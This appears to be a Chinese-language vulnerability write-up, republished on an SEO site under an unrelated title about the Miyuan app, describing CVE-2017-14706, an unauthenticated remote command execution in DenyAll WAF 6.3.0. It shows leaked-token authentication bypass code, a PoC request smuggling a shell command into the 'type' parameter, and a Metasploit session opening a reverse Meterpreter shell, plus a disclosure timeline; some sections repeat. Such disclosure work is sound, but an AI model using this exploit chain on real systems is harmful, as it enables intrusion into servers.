蜜源app里怎么找漏洞產(chǎn)品(蜜源app里怎么找漏洞產(chǎn)品呢)
DenyAll WAF算是下一代應(yīng)用安全的基礎(chǔ)產(chǎn)品,它結(jié)合了易于配置的工作流程引擎和管理界面API,具有確保Web應(yīng)用安全的成熟功能,而且包含了主動和被動安全性技術(shù)、關(guān)聯(lián)特征、用戶行為分析和即將升級的rWeb高級安全引擎,能有效保護(hù)Web應(yīng)用程序并最大程度減少誤報。而在本文中,我要展示的是我們團(tuán)隊發(fā)現(xiàn)的DenyAll WAF未授權(quán)RCE遠(yuǎn)程漏洞一枚(CVE-2017-14706)。
漏洞主要信息
遠(yuǎn)程利用: 是
授權(quán)需要: 否
漏洞涉及版本: 6.3.0
漏洞涉及架構(gòu): NodeJS、Kibana、PHP
漏洞涉及產(chǎn)品: DenyAll WAF
CVSSv3 評分: 10.0 (/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
發(fā)現(xiàn)日期: 2017.6.30
遠(yuǎn)程利用: 是
授權(quán)需要: 否
漏洞涉及版本: 6.3.0
漏洞涉及架構(gòu): NodeJS、Kibana、PHP
漏洞涉及產(chǎn)品: DenyAll WAF
CVSSv3 評分: 10.0 (/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
展開全文
發(fā)現(xiàn)日期: 2017.6.30
一開始,我通過了亞馬遜的在線商城看到了關(guān)于DenyAll WAF的15天免費試用,所以我一步步注冊之后就部署了這個產(chǎn)品。通過SSH key登錄進(jìn)入之后我發(fā)現(xiàn)其管理員接口是NodeJS的架構(gòu),所以首先我在其中查找登錄過程代碼:
var login = function login(req,res,next) { log.debug(); if (!req.body) req.body = {}; var data = { login:req.body.username || req.query.username, pass:req.body.password || req.query.password, readOnly:req.body.readOnly || req.query.readOnly || false, forceConnexion:req.body.forceConnexion || req.query.forceConnexion || true, clientIp: req.ip }; // I OMITTED tHE CODE _xmlApiClient.request(opts, function(err, response) { // I OMITTED tHE CODE },res); };
從以上代碼可知,貌似存在一個內(nèi)部API用于NodeJS進(jìn)行認(rèn)證等操作,為了找到這個API,我繼續(xù)來看_xmlApiClient相關(guān)代碼,而在xmlApiClient.js文件中存在一個有意思的函數(shù):
var xmlApiRequest = function xmlApirequest(opts, callback, res) { // ... CODE OMITTED ... var target = 'https://' + _config.xmlApi.host + ':' + _config.xmlApi.port + '/webservices/index.php?api=' + opts.api + 'function=' + opts.func; // ... CODE OMITTED ... };
然后,我們開始收集更多關(guān)于該產(chǎn)品的有用信息,找到了其中的PHP API,其中還包括了來自配置文件的端口(3001)和主機(127.0.0.1)的變量:
"xmlApi": { "host": "127.0.0.1", "port": "3001", "guiVersionFile":"/etc/version.txt", "nodeId": null, "tcpTimeout":1000, "httpTimeout":300000 },
再對部署了DenyAll WAF的主機進(jìn)行netstat監(jiān)聽后發(fā)現(xiàn),其中的本機綁定端口監(jiān)聽列表中,竟然沒有端口3001!
~ netstat -tnlp |grep -v '127\|::' Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 172.31.11.218:2222 0.0.0.0:* LISTEN - tcp 0 0 172.31.11.218:22 0.0.0.0:* LISTEN - tcp 0 0 172.31.11.218:3001 0.0.0.0:* LISTEN 3866/actrld tcp 0 0 172.31.11.218:3002 0.0.0.0:* LISTEN - 對PHP后端的濫用
在PHP服務(wù)端/webservices/download/index.php中也存在一段有意思的代碼:
if($_REQUEST['typeOf']!='kdbImages' $_REQUEST['typeOf']!='debug'){ //validation jeton if(isset($_REQUEST['iToken'])){ if($local-getIToken()!=$_REQUEST['iToken']){ header('HTTP/1.1 403 Forbidden'); exit(-1); } }else{ if(isset($_REQUEST['tokenId'])){ if(!API_validUid($_REQUEST['tokenId'])){ header('HTTP/1.1 403 Forbidden'); exit(-2); } $session = loadClass('sessions'); if($session-searchUid($_REQUEST['tokenId'])===false){ header('HTTP/1.1 403 Forbidden'); exit(-3); }else{ if(!isset($_REQUEST['forceNoRefresh'])){ $session-refreshTimeSession($_REQUEST['tokenId']); $session-save(); } unset($session); } }else{ header('HTTP/1.1 403 Forbidden'); exit(-2); } } }
從以上這段代碼可以看出,如果typeOf參數(shù)不是kdbImages或debug時,整個認(rèn)證機制都將被繞過!
另外,從另外一段中還可發(fā)現(xiàn),其中存在一個可被下載的debug.dat,而debug.dat中可能包含一些重要信息:
case 'debug' : $norealpath=false; $removeSrc=true; $compress=false; $removeDst=false; $autoDownload=true; if(!isset($_REQUEST['applianceUid'])){ debug("download debug sans applianceUid"); exit; } $applianceUid=$_REQUEST['applianceUid']; $src=downloadFile('debugInternal',$applianceUid,'debug.dat'); $dst=$src=realpath($src); $fileNameDownload=basename($src); if(!is_readable($src)) exit; break;
而經(jīng)過抓包測試,以下過程為debug.dat的下載請求連接流:
GET /webservices/download/index.php?applianceUid=LOCALUIDtypeOf=debug HTTP/1.1 Host: 52.28.216.170:3001 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Content-Type: application/x-www-form-urlencoded Content-Length: 4 RESPONSE HTTP/1.1 200 OK Date: Fri, 30 Jun 2017 17:30:12 GMT Server: Apache Content-disposition: attachment; filename="debug.dat" Expires: 0 Cache-Control: must-revalidate, post-check=0, pre-check=0 Content-Length: 697 Pragma: public Content-Type: application/vnd.nokia.n-gage.data Internal error 2017-06-30 17:30:12 (UTC) a:3:{s:6:"typeOf";s:13:"debugInternal";s:4:"file";s:9:"debug.dat";s:6:"iToken";s:32:"y760e0299ba6fc1a2739df5a8f64fc5a";} 2 Alerte touch(): Unable to create file /var/tmp/debug/ because Is a directory /var/denyall/www-root/wsSource/class/filesClass.php 18 1280
其中的關(guān)鍵信息就是iToken,它用于DenyAll WAF應(yīng)用的認(rèn)證,所以這個關(guān)鍵的泄露給了我們進(jìn)一步挖掘的欲望。
命令注入
其實,DenyAll WAF中存在多處命令注入,其中一處為/webservices/stream/tail.php,以下是其中的一段代碼:
if(isset($_REQUEST['iToken'])){ if($local-getIToken()!=$_REQUEST['iToken']){ exitPrint(t_("Bad key, authentication on slave streaming server failed")); } }else{ exitPrint(t_("Authentication on slave streaming server failed")); } if(isset($_REQUEST['tag']) $_REQUEST['tag']!=''){ // on doit chercher le bon fichier if(isset($_REQUEST['stime'])$_REQUEST['stime']!=''){ // Start time version tailDateFile(); }else{ // dernier fichier ouvert if($_REQUEST['tag']=='tunnel') $_REQUEST['file']=basename(shell_run("ls -1t ".__RP_LOG__."*/".$_REQUEST['uid']."/*-".$_REQUEST['type'].".log| head -n1 2/dev/null")); else $_REQUEST['file']=$_REQUEST['uid'].'-'.$_REQUEST['type'].'.log'; } }
在iToken可被泄露的情況下,這里又出現(xiàn)了另一個函數(shù)tailDateFile(),以下是其具體代碼:
function tailDateFile(){ global $_REQUEST; $stime=(int)($_REQUEST['stime']/1000); $tag=$_REQUEST['tag']; $uid=$_REQUEST['uid']; $type=$_REQUEST['type']; // access or error chdir(__RP_LOG__); if($tag=='tunnel'){ // reverse proxy $files=shell_run("ls -1 */$uid/*-$type-*.log 2/dev/null|sort")."\n"; // avec date trié au début $files.=shell_run("ls -1t */$uid/*-$type.log 2/dev/null"); // courant trié par utilisation }else{ $files=shell_run("ls -1 $uid-$type*-log 2/dev/null|sort")."\n"; $files.=shell_run("ls -1t $uid-$type.log 2/dev/null"); } // .. CODE OMITTED .. }
從以上代碼可以看到,$uid參數(shù)可被控制,而且它還是shell_run()函數(shù)變量的一部分。結(jié)合上述提及的這兩方面問題,我們就能實現(xiàn)未授權(quán)命令注入漏洞。
PoC
通過HTTP請求觸發(fā)遠(yuǎn)程RCE實現(xiàn):
GET /webservices/stream/tail.php?iToken=y760e0299ba6fc1a2739df5a8f64fc5atag=tunnelstime=aaatype=aaa$(sleep%2030") HTTP/1.1 Host: 52.28.216.170:3001 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie: connect.sid=s%3AWGBO5SaeECriIG8z4SMjwilZgl7SM0ej.0hGC0CcXrwnoJLb4YucLi8lbr%2FC8f2TNIicG4EmFLFU Connection: close Upgrade-Insecure-Requests: 1 Metasploit反彈控制模塊
https://github.com/rapid7/metasploit-framework/pull/8980
msfexploit(denyall_exec) set RHOST 35.176.123.128 RHOST = 35.176.123.128 msfexploit(denyall_exec) set LHOST 35.12.3.3 LHOST = 35.12.3.3 msfexploit(denyall_exec) check [*]35.176.123.128:3001 The target appears to be vulnerable. msfexploit(denyall_exec) exploit [-]Handler failed to bind to 35.12.3.3:4444:- - [*]Started reverse TCP handler on 0.0.0.0:4444 [*]Extracting iToken value from unauthenticated accessible endpoint. [+]Awesome. iToken value = n84b214ad1f53df0bd6ffa3dcfe8059a [*]Trigerring command injection vulnerability with iToken value. [*]Sending stage (40411 bytes) to 127.0.0.1 [*]Meterpreter session 1 opened (127.0.0.1:4444 - 127.0.0.1:60556) at 2017-09-19 14:31:52 +0300 meterpreter pwd /var/log/denyall/reverseproxy meterpreter exit [*]Shutting down Meterpreter... [*]172.31.11.218 - Meterpreter session 1 closed. Reason: User exit msfexploit(denyall_exec) exit ? ~exit 漏洞報送時間線
2017.6.30 21:33 發(fā)現(xiàn)漏洞
2017.6.30 22:37 DenyAll CTO與我們?nèi)〉寐?lián)系
2017.9.19 DenyAll發(fā)布更新版本
2017.6.30 21:33 發(fā)現(xiàn)漏洞
2017.6.30 22:37 DenyAll CTO與我們?nèi)〉寐?lián)系
2017.9.19 DenyAll發(fā)布更新版本
*參考來源:pentest,freebuf小編clouds編譯,轉(zhuǎn)載請注明來自FreeBuf.COM
掃描二維碼推送至手機訪問。
版權(quán)聲明:本文由飛速云SEO網(wǎng)絡(luò)優(yōu)化推廣發(fā)布,如需轉(zhuǎn)載請注明出處。